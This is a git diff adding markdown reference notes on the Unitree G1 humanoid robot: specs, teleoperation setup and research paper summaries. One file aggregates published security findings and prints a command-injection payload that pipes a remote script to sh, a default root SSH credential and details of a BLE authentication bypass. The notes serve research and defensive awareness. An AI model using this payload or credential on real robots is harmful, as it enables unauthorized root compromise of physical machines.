Unitree Humanoid Robots + +## Project Overview + +This repository implements teleoperation control of Unitree humanoid robots using XR (Extended Reality) devices such as Apple Vision Pro, PICO 4 Ultra Enterprise, or Meta Quest 3. + +## Supported Robots and End-Effectors + +**Robot Arms:** +- G1 (29 DoF and 23 DoF variants) +- H1 (4-DoF arm) +- H1_2 (7-DoF arm) + +**End-Effectors:** +- Dex1-1 gripper +- Dex3-1 dexterous hand +- Inspire dexterous hand (FTP and DFX variants) +- BrainCo dexterous hand + +## Installation Requirements + +The project requires Ubuntu 20.04 or 22.04. Key dependencies include: + +- Python 3.10 with Pinocchio 3.1.0 and NumPy 1.26.4 via conda +- unitree_sdk2_python library for robot communication +- Televuer module (with SSL certificate configuration for HTTPS/WebRTC) +- Teleimager submodule for image streaming + +**Installation involves:** +1. Creating a conda environment with required packages +2. Cloning the repository and initializing submodules +3. Installing televuer and teleimager packages +4. Generating SSL certificates for secure XR device connections +5. Installing the unitree_sdk2_python SDK + +## Deployment Modes + +The system supports multiple operational modes: + +**Control Modes:** +- Hand tracking (gesture-based control) +- Controller tracking (device controller input) + +**Display Modes:** +- Immersive (full VR environment) +- Ego (pass-through plus first-person window) +- Pass-through only + +**Operation Modes:** +- Simulation (using Isaac Lab) +- Physical robot control +- Motion control (simultaneous arm and locomotion) +- Headless mode (for devices without displays) +- Recording mode for data collection + +## Data Recording and Collection + +The system enables teleoperation data recording when launched with the `--record` flag. Users can: + +1. Press 'r' to begin teleoperation +2. Press 's' to start recording; press 's' again to stop and save an episode +3. Repeat the process for multiple episodes + +Recorded data is stored in `xr_teleoperate/teleop/utils/data` and can be processed for imitation learning training through the unitree_IL_lerobot repository. + +## Launch Parameters + +Key command-line arguments control system behavior: + +- `--frequency`: Control loop FPS (default: 30.0) +- `--input-mode`: hand or controller tracking +- `--display-mode`: immersive, ego, or pass-through +- `--arm`: Robot type (G1_29, G1_23, H1_2, H1) +- `--ee`: End-effector selection +- `--img-server-ip`: Image server IP address +- `--network-interface`: CycloneDDS interface configuration +- `--motion`: Enable concurrent motion control +- `--sim`: Enable simulation mode +- `--record`: Enable data recording mode + +## Physical Deployment Specifics + +Physical deployment requires additional setup beyond simulation: + +**Image Service Setup:** +The development computing unit (PC2) on the robot must run the teleimager service to stream camera feeds. Users must: +1. Clone and install teleimager on PC2 +2. Copy SSL certificates from the host machine +3. Configure camera settings in `cam_config_server.yaml` +4. Start the image service before teleoperation + +**Hand Services (Optional):** +Depending on end-effector type, additional services may be required: +- Inspire hands require the DFX_inspire_service program +- BrainCo hands require their dedicated service +- Unitree Dex1-1 grippers have built-in support + +## XR Device Connectivity + +XR devices connect via: +1. WebRTC for real-time video streaming (requires certificate trust) +2. WebSocket for control signal transmission +3. HTTPS for secure web interface access + +Users must navigate to the web interface URL (typically `https://192.168.x.x:8012`) on their XR device, trust the self-signed certificate, and enter VR mode to begin control. diff --git a/reference/sources/official-developer-guide-index.md b/reference/sources/official-developer-guide-index.md new file mode 100644 index 0000000..126f911 --- /dev/null +++ b/reference/sources/official-developer-guide-index.md @@ -0,0 +1,39 @@ +# Unitree G1 Developer Documentation Index +**Source:** https://support.unitree.com/home/en/G1_developer +**Fetched:** 2026-02-13 +**Type:** Official Manufacturer Documentation — INDEX ONLY + +--- + +## Note on Content + +The support.unitree.com documentation pages are JavaScript-rendered single-page applications. +WebFetch cannot extract their content — only the page shell loads. +The actual content requires a browser or headless browser (e.g., Playwright, Puppeteer) to render. + +## Known Documentation Pages + +These pages exist and are navigable in a browser: + +| Page | URL | +|------|-----| +| Developer Guide (main) | https://support.unitree.com/home/en/G1_developer | +| Quick Start | https://support.unitree.com/home/en/G1_developer/quick_start | +| Quick Development | https://support.unitree.com/home/en/G1_developer/quick_development | +| Get SDK | https://support.unitree.com/home/en/G1_developer/get_sdk | +| DDS Services Interface | https://support.unitree.com/home/en/G1_developer/dds_services_interface | +| Basic Services Interface | https://support.unitree.com/home/en/G1_developer/basic_services_interface | +| Basic Motion Routine | https://support.unitree.com/home/en/G1_developer/basic_motion_routine | +| INSPIRE DFX Dexterous Hand | https://support.unitree.com/home/en/G1_developer/inspire_dfx_dexterous_hand | + +## How to Archive These Pages + +To get the full content, use one of: +1. **Browser → Save As → Complete Webpage** for each URL +2. **Playwright/Puppeteer** script to render and extract markdown +3. **Manual copy-paste** from browser into markdown files +4. **Unitree Explore App** which may contain offline documentation + +## Key Data Already Extracted + +Much of the technical data from these pages has already been incorporated into the context files via the research agents' web searches, which accessed cached/indexed versions of these pages. The context files contain confirmed data from these sources. diff --git a/reference/sources/official-product-page.md b/reference/sources/official-product-page.md new file mode 100644 index 0000000..b91a2bc --- /dev/null +++ b/reference/sources/official-product-page.md @@ -0,0 +1,93 @@ +# Unitree G1 Official Product Page +**Source:** https://www.unitree.com/g1/ +**Fetched:** 2026-02-13 +**Type:** Official Manufacturer Documentation + +--- + +## Pricing +- **Standard Model**: $13,500 USD (excluding tax and shipping) +- **G1 EDU**: Contact sales for pricing + +## Physical Dimensions & Weight + +| Specification | Value | +|---|---| +| Height (Standing) | 1320mm | +| Width | 450mm | +| Depth (Standing) | 200mm | +| Height (Folded) | 690mm | +| Folded Depth | 300mm | +| Weight (with battery) | ~35kg | +| Leg Length (calf + thigh) | 0.6m | +| Arm Span | ~0.45m | + +## Degrees of Freedom (DOF) + +**G1 Standard**: +- Total DOF: 23 +- Single leg: 6 DOF +- Single arm: 5 DOF +- Waist: 1 DOF + +**G1 EDU**: +- Total DOF: 23-43 (expandable) +- Single leg: 6 DOF +- Single arm: 5 DOF +- Waist: 1 DOF + optional 2 additional +- Single hand: 7 DOF (with Dex3-1) + optional 2 wrist DOF + +## Joint Movement Range + +- Waist: Z±155° +- Knee: 0~165° +- Hip: P±154°, R-30~+170°, Y±158° + +## Load & Torque Specifications + +| Component | G1 | G1 EDU | +|---|---|---| +| Max Knee Torque | 90N·m | 120N·m | +| Arm Max Load | ~2kg | ~3kg | + +## Motor & Mechanical + +- Joint Motors: Low inertia high-speed internal rotor PMSM +- Bearings: Industrial grade crossed roller bearings +- Encoders: Dual encoder per joint +- Cooling: Local air cooling system +- Electrical Routing: Full joint hollow electrical routing + +## Sensors & Perception + +- Depth Camera +- 3D LiDAR +- 4 Microphone Array +- 5W Speaker + +## Computing & Connectivity + +- CPU: 8-core high-performance processor +- WiFi: WiFi 6 +- Bluetooth: 5.2 +- G1 EDU Computing: NVIDIA Jetson Orin module (optional) + +## Power & Battery + +- Battery: 13-string lithium battery, 9000mAh +- Charger: 54V 5A +- Battery Life: Approximately 2 hours + +## Accessories Included + +- Smart Battery (Quick Release) +- Charger +- Manual Controller + +## Warranty & Support + +| Aspect | G1 | G1 EDU | +|---|---|---| +| Warranty Period | 8 months | 18 months | +| OTA Software Upgrades | Yes | Yes | +| Secondary Development | No | Yes | diff --git a/reference/sources/official-user-manual-note.md b/reference/sources/official-user-manual-note.md new file mode 100644 index 0000000..19a8511 --- /dev/null +++ b/reference/sources/official-user-manual-note.md @@ -0,0 +1,34 @@ +# Unitree G1 User Manual V1.1 +**Source:** https://marketing.unitree.com/article/en/G1/User_Manual.html +**Alternative PDF:** https://reliablerobotics.ai/wp-content/uploads/2025/03/G1-User-Manual_compressed.pdf +**Fetched:** 2026-02-13 +**Type:** Official Manufacturer Documentation — IMAGE-BASED (requires OCR) + +--- + +## Note on Content + +The online user manual is rendered as 29 full-page images (PNG format), not extractable text. +Each page is a high-resolution scan (2481x3509 pixels). + +## How to Archive the Full Manual + +Options: +1. **Download the PDF** from the alternative URL above +2. **OCR the images** using Tesseract or similar +3. **Request text version** from Unitree support + +## Known Manual Contents (from external references) + +Based on retailer and community references, the manual covers: +- Safety precautions and warnings +- Product overview and component identification +- Battery installation and charging procedures +- Power on/off procedures +- Basic operation and movement controls +- Network configuration (WiFi/Ethernet setup) +- Wireless controller usage +- Maintenance and care guidelines +- Troubleshooting +- Warranty information +- Technical specifications summary diff --git a/reference/sources/paper-bfm-zero.md b/reference/sources/paper-bfm-zero.md new file mode 100644 index 0000000..00fbbc6 --- /dev/null +++ b/reference/sources/paper-bfm-zero.md @@ -0,0 +1,45 @@ +# BFM-Zero: Promptable Behavioral Foundation Model for Humanoid Control +**Source:** https://arxiv.org/abs/2511.04131 +**Fetched:** 2026-02-13 +**Type:** Research Paper + +--- + +## Paper Information + +- **arXiv ID:** 2511.04131 +- **Authors:** Yitang Li, Zhengyi Luo, Tonghe Zhang, Cunxi Dai, and nine additional collaborators +- **Submission Date:** November 6, 2025 +- **Field:** Computer Science - Robotics + +## Abstract + +BFM-Zero is a framework for training humanoid robots using unsupervised reinforcement learning. The system enables a single policy to handle multiple tasks through a shared latent representation without requiring retraining. + +## Core Methodology + +### Latent Space Architecture + +The framework "learns an effective shared latent representation that embeds motions, goals, and rewards into a common space." This unified representation enables versatile control approaches. + +### Technical Foundations + +Rather than traditional on-policy RL methods, BFM-Zero builds on unsupervised reinforcement learning and Forward-Backward models, providing what the authors describe as an "objective-centric, explainable, and smooth latent representation of whole-body motions." + +### Sim-to-Real Transfer + +Critical components include reward shaping, domain randomization, and history-dependent asymmetric learning to bridge simulation-reality gaps. + +## Real-World Implementation on Unitree G1 + +### Hardware Platform + +Experiments deployed on a Unitree G1 humanoid robot. + +### Inference Capabilities + +The promptable policy supports multiple downstream applications: zero-shot motion tracking, goal-directed reaching, reward optimization, and few-shot adaptation without retraining. + +## Significance + +BFM-Zero provides a unified foundation model approach to humanoid control, enabling versatile task execution through promptable interfaces rather than task-specific training. diff --git a/reference/sources/paper-cybersecurity-detailed.md b/reference/sources/paper-cybersecurity-detailed.md new file mode 100644 index 0000000..4e682c1 --- /dev/null +++ b/reference/sources/paper-cybersecurity-detailed.md @@ -0,0 +1,58 @@ +# Cybersecurity of the Unitree G1 — Detailed Findings +**Sources:** arXiv:2509.14096, arXiv:2509.14139, UniPwn (GitHub: Bin4ry/UniPwn), FreeBOT (theroboverse.com) +**Fetched:** 2026-02-13 +**Type:** Security Research — Aggregated Findings + +--- + +## Locomotion Computer Hardware + +- **Processor:** Rockchip RK3588 (8-core ARM Cortex-A76/A55) +- **RAM:** 8GB LPDDR4X +- **Storage:** 32GB eMMC +- **Kernel:** Linux 5.10.176-rt86+ (real-time patched) +- **Network:** eth0 at 192.168.123.161/24, wlan0 at 192.168.8.193/24 + +## Software Architecture + +- `master_service` orchestrator (9.2 MB binary) supervises 26 daemons +- `ai_sport` — primary locomotion/balance policy (145% CPU, 135 MB RAM) +- `state_estimator` — sensor fusion (~30% CPU) +- `motion_switcher` — gait mode management +- `robot_state_service`, `dex3_service_l/r`, `webrtc_bridge`, `ros_bridge` +- Configuration files encrypted with **FMX format**: Blowfish-ECB + LCG stream cipher with static keys (partially reverse-engineered) +- Unix socket: `/unitree/var/run/master_service.sock` + +## Known Vulnerabilities + +### UniPwn BLE Exploit (Bin4ry, Sep 2025) +- Affects: G1, H1, R1, Go2, B2 +- Hardcoded AES encryption keys identical across ALL Unitree robots +- Authentication: encrypt string "unitree" with known key → passes +- SSID/password fields passed to `system()` with root privileges +- **Wormable:** infected robot can scan BLE and compromise other Unitree robots +- GitHub: Bin4ry/UniPwn + +### FreeBOT Jailbreak (TheRoboVerse) +- Command injection via WiFi password field in mobile app +- Payload: `;curl -L 4jb.me|sh;#` +- Works on firmware 1.3.0-1.6.0 +- SSH after jailbreak: root:theroboverse +- Patched in firmware 1.1.8+ (October 2025) + +### Known CVEs on RK3588 +- CVE-2023-52660, CVE-2025-38081, CVE-2024-57256 + +## Telemetry (Data Exfiltration) +- Robot phones home every ~5 minutes via MQTT (port 17883) +- Data sent: audio, video, LiDAR, GPS, robot state +- Destination IPs: 43.175.228.18, 43.175.229.18, 8.222.78.102 +- Mitigation: block outbound at network firewall, or isolate robot network from internet + +## Open Services on 192.168.123.161 +- DDS/Iceoryx: UDP 7400 +- WebRTC signal server: port 8081 +- MQTT: port 17883 (outbound to telemetry servers) + +## Key Conclusion +Root access to the RK3588 is achievable via BLE exploits. However, nobody has publicly documented replacing `ai_sport` (the stock locomotion policy) with a custom binary, or extracting the RL policy weights from it. The FMX-encrypted configuration files and the `master_service` orchestrator remain barriers. All research groups deploy custom policies from external computers via DDS. diff --git a/reference/sources/paper-cybersecurity.md b/reference/sources/paper-cybersecurity.md new file mode 100644 index 0000000..7ecabb4 --- /dev/null +++ b/reference/sources/paper-cybersecurity.md @@ -0,0 +1,51 @@ +# The Cybersecurity of a Humanoid Robot +**Source:** https://arxiv.org/abs/2509.14096 +**Fetched:** 2026-02-13 +**Type:** Research Paper + +--- + +## Paper Information + +- **arXiv ID:** 2509.14096 +- **Author:** Victor Mayoral-Vilches +- **Submission Date:** September 17, 2025 +- **Field:** Computer Science - Cryptography and Security (cs.CR) + +## Abstract + +This research documents a comprehensive cybersecurity assessment of the Unitree G1 humanoid robot, identifying several critical security vulnerabilities spanning hardware, software, and cloud connectivity layers. + +## Key Vulnerabilities Identified + +### Cryptographic Flaws + +The study reveals a proprietary encryption system (FMX') that employs "static cryptographic keys that enable offline configuration decryption," allowing attackers to decrypt sensitive settings without active system access. + +### Telemetry Concerns + +The robot transmits "detailed robot state information--including audio, visual, spatial, and actuator data--to external servers without explicit user consent or notification mechanisms." + +### Operational Risk + +Researchers successfully "operationalized a Cybersecurity AI agent on the Unitree G1 to map and prepare exploitation of its manufacturer's cloud infrastructure," demonstrating potential for compromised robots to conduct offensive operations. + +## Technical Methodology + +The assessment employed "systematic static analysis, runtime observation, and cryptographic examination" to expose vulnerabilities spanning both hardware and cloud connectivity layers. + +## System Architecture Details + +The analysis covers: +- Onboard computing and networking infrastructure +- Proprietary encryption mechanisms (FMX') +- Cloud connectivity and telemetry channels +- Firmware update mechanisms + +## Recommendations + +The author advocates for a paradigm shift toward "Cybersecurity AI frameworks that can adapt to the unique challenges of physical-cyber convergence" as humanoid robots move toward operational deployment in sensitive environments. + +## Significance + +This paper highlights critical security considerations for deploying humanoid robots in production environments, demonstrating that current security practices in consumer/research robotics are insufficient for the risks posed by capable humanoid platforms. diff --git a/reference/sources/paper-gait-conditioned-rl.md b/reference/sources/paper-gait-conditioned-rl.md new file mode 100644 index 0000000..2f8b0d4 --- /dev/null +++ b/reference/sources/paper-gait-conditioned-rl.md @@ -0,0 +1,45 @@ +# Gait-Conditioned Reinforcement Learning for Humanoid Locomotion +**Source:** https://arxiv.org/abs/2505.20619 +**Fetched:** 2026-02-13 +**Type:** Research Paper + +--- + +## Paper Information + +- **arXiv ID:** 2505.20619 +- **Authors:** Tianhu Peng, Lingfan Bao, Chengxu Zhou +- **Initial Submission:** May 27, 2025 +- **Latest Revision:** September 15, 2025 (version 3) + +## Abstract + +This paper presents a unified reinforcement learning framework enabling humanoid robots to execute multiple locomotion modes within a single policy. + +## Core Technical Contributions + +### Gait-Conditioned Architecture + +The system uses a compact reward routing mechanism that employs one-hot gait identifiers to activate mode-specific objectives, reducing reward conflicts across different movement types. + +### Multi-Phase Curriculum + +A structured progression introduces movement complexity systematically while expanding the command space across multiple training phases. + +### Biomechanically-Inspired Rewards + +The framework incorporates human-inspired reward components promoting natural motions like straight-knee standing and coordinated arm-leg movement, without requiring motion capture datasets. + +## Experimental Validation + +### Simulation Results + +The policy successfully achieved standing, walking, running, and smooth transitions between gaits. + +### Real-World Testing on Unitree G1 + +On the Unitree G1 humanoid robot, researchers validated standing, walking, and walk-to-stand transitions, demonstrating "stable and coordinated locomotion." + +## Significance + +This work offers "a scalable, reference-free solution toward versatile and naturalistic humanoid control across diverse modes and environments," representing progress in multi-modal robot locomotion without motion capture dependencies. diff --git a/reference/sources/paper-getting-up-policies.md b/reference/sources/paper-getting-up-policies.md new file mode 100644 index 0000000..e61f8b2 --- /dev/null +++ b/reference/sources/paper-getting-up-policies.md @@ -0,0 +1,40 @@ +# Learning Getting-Up Policies for Real-World Humanoid Robots +**Source:** https://arxiv.org/abs/2502.12152 +**Fetched:** 2026-02-13 +**Type:** Research Paper + +--- + +## Paper Information + +- **arXiv ID:** 2502.12152 +- **Authors:** Xialin He, Runpei Dong, Zixuan Chen, Saurabh Gupta +- **Submission Date:** February 17, 2025 (revised April 27, 2025) +- **Venue:** Robotics: Science and Systems (RSS) 2025 + +## Abstract + +The research addresses automatic fall recovery for humanoid robots through machine learning. The core challenge involves enabling robots to recover from varied fallen positions on different terrain types, which is difficult to hand-code due to complexity and environmental variability. + +## Methodology: Two-Phase Curriculum Approach + +### Phase 1 - Discovery + +The framework identifies viable getting-up trajectories with minimal constraints on movement smoothness or torque requirements. + +### Phase 2 - Refinement + +The discovered motions are optimized into deployable controllers that maintain smoothness, respect physical constraints, and remain robust across configuration and terrain variations. + +The approach addresses two significant technical obstacles: complex contact dynamics requiring precise collision geometry modeling, and sparse reward signals inherent to this task. + +## Real-World Results on Unitree G1 + +The G1 humanoid robot successfully recovered from two primary fall configurations on multiple terrain conditions: + +- Face-up and face-down positions +- Diverse surfaces: flat ground, deformable terrain, slippery surfaces, and inclined slopes (grass and snow) + +## Significance + +This represents "one of the first successful demonstrations of learned getting-up policies for human-sized humanoid robots in the real world," advancing practical deployment capabilities for autonomous systems in unstructured environments. diff --git a/reference/sources/paper-groot-wbc.md b/reference/sources/paper-groot-wbc.md new file mode 100644 index 0000000..e2f2be5 --- /dev/null +++ b/reference/sources/paper-groot-wbc.md @@ -0,0 +1,45 @@ +# GR00T-WholeBodyControl: Whole-Body Control for Humanoid Loco-Manipulation +**Source:** [GitHub — NVlabs/GR00T-WholeBodyControl](https://github.com/NVlabs/GR00T-WholeBodyControl) +**Authors:** NVIDIA Labs (NVlabs) +**Fetched:** 2026-02-13 +**Type:** Technical Software / Open-Source Project (not a traditional research paper) + +--- + +## Overview + +GR00T-WholeBodyControl is a software stack developed by NVIDIA Labs for loco-manipulation experiments across multiple humanoid platforms, with primary support for the Unitree G1. The repository provides three core components: whole-body control policies, a teleoperation stack, and a data exporter. + +This is not a standalone research paper but rather an open-source project that forms the low-level motor control layer of the broader NVIDIA Isaac GR00T ecosystem. It serves as the foundational whole-body controller underneath the GR00T N1.6 vision-language-action (VLA) policy. + +## Architecture and Methods + +- **Training Framework:** Whole-body reinforcement learning trained in NVIDIA Isaac Lab and Isaac Sim +- **Motion Generation:** Produces human-like, dynamically stable motion primitives covering locomotion, manipulation, and coordinated multi-contact behaviors +- **Policy Architecture:** Uses a 32-layer diffusion transformer that generates state-relative action predictions for smoother, less jittery movements +- **Transfer Method:** Policies trained in simulation are transferred zero-shot to physical humanoids, minimizing task-specific fine-tuning + +## Key Capabilities + +- Whole-body control policies for coordinated locomotion and manipulation +- Teleoperation stack with support for Meta Pico controllers, LeapMotion, and HTC Vive with Joy-Con controllers +- Integrated data exporter for trajectory recording and task-prompt-based data annotation +- Simulation support via RoboCSA environment +- Real robot deployment with proper network configuration +- Docker containerization with GPU support via NVIDIA Container Toolkit + +## Technical Details + +- **Language Composition:** Python (84.9%), C++ (6.7%), C (6.1%), Shell (1.7%) +- **System Requirements:** Ubuntu 22.04, NVIDIA GPU, Docker with NVIDIA Container Toolkit +- **Supported Robots:** Unitree G1 (primary), GR-1 humanoids, mobile manipulators, bimanual arms + +## G1 Relevance + +GR00T-WholeBodyControl has **primary support for the Unitree G1** — the G1 is the main development platform. The loco-manipulation task is built on MuJoCo using the Unitree G1, requiring the robot to navigate, pick up objects, and place them at target locations while maintaining balance and whole-body coordination. This represents one of the most complete open-source whole-body control stacks available for the G1 platform. + +## References + +- GitHub Repository: https://github.com/NVlabs/GR00T-WholeBodyControl +- Isaac GR00T Integration: https://github.com/NVIDIA/Isaac-GR00T/blob/main/examples/GR00T-WholeBodyControl/README.md +- NVIDIA Technical Blog: https://developer.nvidia.com/blog/building-generalist-humanoid-capabilities-with-nvidia-isaac-gr00t-n1-6-using-a-sim-to-real-workflow/ diff --git a/reference/sources/paper-h2o.md b/reference/sources/paper-h2o.md new file mode 100644 index 0000000..07e1062 --- /dev/null +++ b/reference/sources/paper-h2o.md @@ -0,0 +1,31 @@ +# Learning Human-to-Humanoid Real-Time Whole-Body Teleoperation +**arXiv:** 2403.04436 +**Authors:** Tairan He, Zhengyi Luo, Wenli Xiao, Chong Zhang, Kris Kitani, Changliu Liu, Guanya Shi +**Fetched:** 2026-02-13 +**Type:** Research Paper (IROS 2024) + +--- + +**Note:** The user-provided arXiv ID (2403.01623) was incorrect — that ID corresponds to an unrelated machine-learning-for-physics-simulation challenge paper. The correct arXiv ID for the H2O paper is **2403.04436**. + +## Abstract + +We present Human to Humanoid (H2O), a reinforcement learning (RL) based framework that enables real-time whole-body teleoperation of a full-sized humanoid robot with only an RGB camera. To create a large-scale retargeted motion dataset of human movements for humanoid robots, we propose a scalable "sim-to-data" process to filter and pick feasible motions using a privileged motion imitator. Afterwards, we train a robust real-time humanoid motion imitator in simulation using these refined motions and transfer it to the real humanoid robot in a zero-shot manner. We successfully achieve teleoperation of dynamic whole-body motions in real-world scenarios, including walking, back jumping, kicking, turning, waving, pushing, boxing, etc. To the best of our knowledge, this is the first demonstration to achieve learning-based real-time whole-body humanoid teleoperation. + +## Key Contributions + +- **RL-based teleoperation framework:** Enables real-time whole-body humanoid teleoperation using only an RGB camera as input +- **Scalable "sim-to-data" process:** A novel methodology for filtering and selecting feasible human-to-humanoid retargeted motions at scale using a privileged motion imitator +- **Zero-shot sim-to-real transfer:** Trained simulation policies transfer directly to real-world humanoid robots without additional real-world fine-tuning +- **Dynamic whole-body motions:** Successfully demonstrates diverse motions including walking, back jumping, kicking, turning, waving, pushing, and boxing in real-world environments +- **First of its kind:** Claims to be the first demonstration of learning-based real-time whole-body humanoid teleoperation + +## G1 Relevance + +H2O is directly relevant to the Unitree G1 as a framework for enabling teleoperation of full-sized humanoid robots. The same research group (LeCAR Lab at CMU) that produced H2O also developed OmniH2O, which explicitly targets the G1. The sim-to-data pipeline and zero-shot transfer methods are applicable to the G1's morphology. The teleoperation capabilities demonstrated (walking, manipulation, dynamic motions) align with the G1's intended use cases. The approach requires only an RGB camera, making it highly accessible for G1 operators. + +## References + +- Project Page: https://human2humanoid.com/ +- GitHub: https://github.com/LeCAR-Lab/human2humanoid +- arXiv: https://arxiv.org/abs/2403.04436 diff --git a/reference/sources/paper-humanplus.md b/reference/sources/paper-humanplus.md new file mode 100644 index 0000000..98424bc --- /dev/null +++ b/reference/sources/paper-humanplus.md @@ -0,0 +1,28 @@ +# HumanPlus: Humanoid Shadowing and Imitation from Humans +**arXiv:** 2406.10454 +**Authors:** Zipeng Fu, Qingqing Zhao, Qi Wu, Gordon Wetzstein, Chelsea Finn +**Fetched:** 2026-02-13 +**Type:** Research Paper + +--- + +## Abstract + +One of the key arguments for humanoid robots is that they can leverage the vast human data for learning. Yet, turning this hope into reality is challenging. We present HumanPlus, a full-stack system for humanoids to learn motion and autonomous skills from human data. We first train a low-level policy in simulation via reinforcement learning using existing 40-hour human motion datasets. This policy is then transferred to a real humanoid robot, and enables it to track human body and hand movements in real-time using only an RGB camera, a process we call "shadowing." Using shadowing, an operator can teleoperate the humanoid robot to collect whole-body data for learning different tasks in the real world. We then train skill policies using behavior cloning with egocentric vision, enabling autonomous task completion through human imitation. We demonstrate the system on a customized 33-degree-of-freedom, 180-cm humanoid on tasks including wearing a shoe to stand up and walk, unloading objects from warehouse racks, folding a sweatshirt, rearranging objects, typing, and greeting another robot with 60-100% success rates using up to 40 demonstrations. + +## Key Contributions + +- **Full-stack learning pipeline:** A complete system going from human motion data to autonomous humanoid skill execution — motion learning, real-time shadowing, teleoperation data collection, and behavior cloning +- **Low-level motion policy:** Trained via RL on 40 hours of existing human motion data, enabling humanoid-to-human motion tracking +- **RGB-only shadowing:** Real-time body and hand motion tracking using only a monocular RGB camera — no specialized motion capture hardware required +- **Zero-shot sim-to-real transfer:** Simulation-trained policies transfer directly to real hardware for practical teleoperation +- **Behavior cloning from demonstrations:** Skill policies trained with egocentric vision enable autonomous task completion from as few as 40 demonstrations +- **Diverse task demonstrations:** Successfully demonstrated on 6 real-world tasks (shoe wearing, warehouse unloading, sweatshirt folding, object rearrangement, typing, robot greeting) with 60-100% success rates + +## G1 Relevance + +HumanPlus demonstrates a paradigm highly applicable to the Unitree G1: learning from human demonstrations via teleoperation shadowing. While the paper uses a custom 33-DOF humanoid, the methodology (RL-based motion imitation, RGB-camera-only tracking, behavior cloning) is transferable to the G1's morphology. The approach of using human motion data at scale for training, combined with minimal sensor requirements (single RGB camera), makes it practical for G1 deployment. The demonstrated tasks (object manipulation, locomotion, warehouse operations) align well with the G1's target applications. + +## References + +- arXiv: https://arxiv.org/abs/2406.10454 diff --git a/reference/sources/paper-omnih2o.md b/reference/sources/paper-omnih2o.md new file mode 100644 index 0000000..a0139b8 --- /dev/null +++ b/reference/sources/paper-omnih2o.md @@ -0,0 +1,30 @@ +# OmniH2O: Universal and Dexterous Human-to-Humanoid Whole-Body Teleoperation and Learning +**arXiv:** 2406.08858 +**Authors:** Tairan He, Zhengyi Luo, Xialin He, Wenli Xiao, Chong Zhang, Weinan Zhang, Kris Kitani, Changliu Liu, Guanya Shi +**Fetched:** 2026-02-13 +**Type:** Research Paper (CoRL 2024) + +--- + +## Abstract + +OmniH2O presents a learning-based framework enabling humanoid robots to be controlled through kinematic pose as a universal control interface. The system supports multiple control modalities: real-time operation via VR headset, verbal commands, and camera input. Beyond teleoperation, the system achieves autonomous operation by learning from demonstrated movements or collaborating with large language models like GPT-4. The work showcases applications across diverse tasks including sports, object manipulation, and human interaction. + +## Key Contributions + +- **Universal control interface:** Uses kinematic pose as a unified representation that supports multiple input modalities (VR headset, verbal commands, RGB camera) +- **Sim-to-real pipeline:** Developed reinforcement learning methods incorporating large-scale human motion dataset retargeting and augmentation for real-world deployment with minimal sensor requirements +- **Multi-modal control versatility:** Demonstrated dexterous whole-body control across multiple real-world tasks through both teleoperation and autonomous modes +- **OmniH2O-6 dataset:** Introduced the first humanoid whole-body control dataset containing six everyday tasks for advancing skill learning research +- **Teacher-student learning:** Implemented a privileged teacher policy approach to enable policy learning with sparse sensor inputs in physical deployments +- **LLM integration:** Demonstrated collaboration with GPT-4 for autonomous task execution from verbal instructions + +## G1 Relevance + +OmniH2O is directly developed and tested on the Unitree G1 platform, making it one of the most relevant research works for G1 whole-body control. The framework provides a complete pipeline from teleoperation to autonomous skill learning specifically validated on the G1. The OmniH2O-6 dataset contains G1-specific task demonstrations. The multi-modal input support (VR, camera, voice) offers flexible integration options for G1 deployments. This builds on the earlier H2O work with expanded capabilities and explicit G1 support. + +## References + +- Project Page: https://omni.human2humanoid.com/ +- GitHub: https://github.com/LeCAR-Lab/human2humanoid +- arXiv: https://arxiv.org/abs/2406.08858 diff --git a/reference/sources/paper-residual-policy.md b/reference/sources/paper-residual-policy.md new file mode 100644 index 0000000..76bd795 --- /dev/null +++ b/reference/sources/paper-residual-policy.md @@ -0,0 +1,44 @@ +# Residual Policy Learning +**arXiv:** 1812.06298 +**Authors:** Tom Silver, Kelsey Allen, Josh Tenenbaum, Leslie Kaelbling +**Fetched:** 2026-02-13 +**Type:** Research Paper (Seminal Work) + +--- + +**Note:** There are two concurrent seminal papers on residual policy/reinforcement learning (both December 2018). This file archives the Silver et al. paper. The companion paper is "Residual Reinforcement Learning for Robot Control" by Johannink et al. (arXiv 1812.03201, ICRA 2019), which focuses more on real-robot experiments. Both are foundational to the concept. + +## Abstract + +We present Residual Policy Learning (RPL), a simple method for improving nondifferentiable policies using model-free deep reinforcement learning. RPL thrives in complex robotic manipulation tasks where good but imperfect controllers are available. In these tasks, reinforcement learning from scratch is data-inefficient, and the initial controller can be hard to improve. The key idea is to learn a residual on top of the initial controller. The method is tested across six challenging MuJoCo environments featuring partial observability, noise, model inaccuracies, and calibration issues. + +## Key Contributions + +- **Residual learning paradigm:** Instead of learning policies from scratch, learns a corrective residual on top of an existing (imperfect) controller — combining the strengths of classical control with deep RL +- **Data efficiency:** Addresses the data inefficiency problem inherent in learning robotic manipulation from scratch by bootstrapping from existing controllers +- **Consistent improvements:** Substantially outperforms initial controllers across all tested scenarios +- **Flexible initialization:** Works with both hand-crafted policies and model-predictive controllers using known or learned dynamics models +- **Enabling long-horizon tasks:** The hybrid approach enables solving long-horizon sparse-reward tasks that RL alone cannot solve +- **Complementary strengths:** Demonstrates that marrying learning with classical control extends capabilities beyond what either approach achieves independently + +## Companion Paper: Residual Reinforcement Learning for Robot Control + +**arXiv:** 1812.03201 +**Authors:** Tobias Johannink, Shikhar Bahl, Ashvin Nair, Jianlan Luo, Avinash Kumar, Matthias Loskyll, Juan Aparicio Ojea, Eugen Solowjow, Sergey Levine +**Venue:** ICRA 2019 + +This concurrent work independently proposes the same core idea of learning residual corrections to existing controllers, but with a focus on real-robot manipulation experiments. Together, the two papers established residual policy learning as a key technique in robot learning. + +## G1 Relevance + +Residual policy learning is highly relevant to the Unitree G1 as a practical approach for improving existing controllers. Rather than training whole-body control policies entirely from scratch (which is data-hungry and risky), one can start with a conventional controller (e.g., model-based walking controller, inverse kinematics solver, or PD controller) and learn a residual correction policy via RL. This is particularly valuable for the G1 because: + +- Unitree provides baseline controllers that could serve as the initial policy +- The approach reduces sim-to-real gap issues since the base controller already handles fundamental dynamics +- It allows incremental improvement of locomotion and manipulation without discarding existing engineering effort +- Many G1 whole-body control papers (including SoFTA, H2O) implicitly build on this concept of combining learned and classical control + +## References + +- arXiv (Silver et al.): https://arxiv.org/abs/1812.06298 +- arXiv (Johannink et al.): https://arxiv.org/abs/1812.03201 diff --git a/reference/sources/paper-safe-control-cluttered.md b/reference/sources/paper-safe-control-cluttered.md new file mode 100644 index 0000000..ab06c93 --- /dev/null +++ b/reference/sources/paper-safe-control-cluttered.md @@ -0,0 +1,42 @@ +# Dexterous Safe Control for Humanoids in Cluttered Environments 